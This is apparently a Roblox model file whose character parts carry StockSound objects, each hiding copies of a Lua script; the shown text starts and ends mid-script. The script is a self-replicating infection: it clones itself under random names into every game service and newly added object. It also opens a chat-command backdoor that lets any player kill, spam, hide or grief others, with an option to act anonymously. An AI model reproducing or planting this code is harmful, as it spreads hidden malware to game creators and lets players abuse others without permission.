for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX412">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-20.5</X>
								<Y>10.5</Y>
								<Z>113.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX413">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">p2s91</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX414">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">gxrczs</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX415">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-23.5</X>
								<Y>10.5</Y>
								<Z>113.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX416">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">8f6y</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX417">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">pc8yf</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
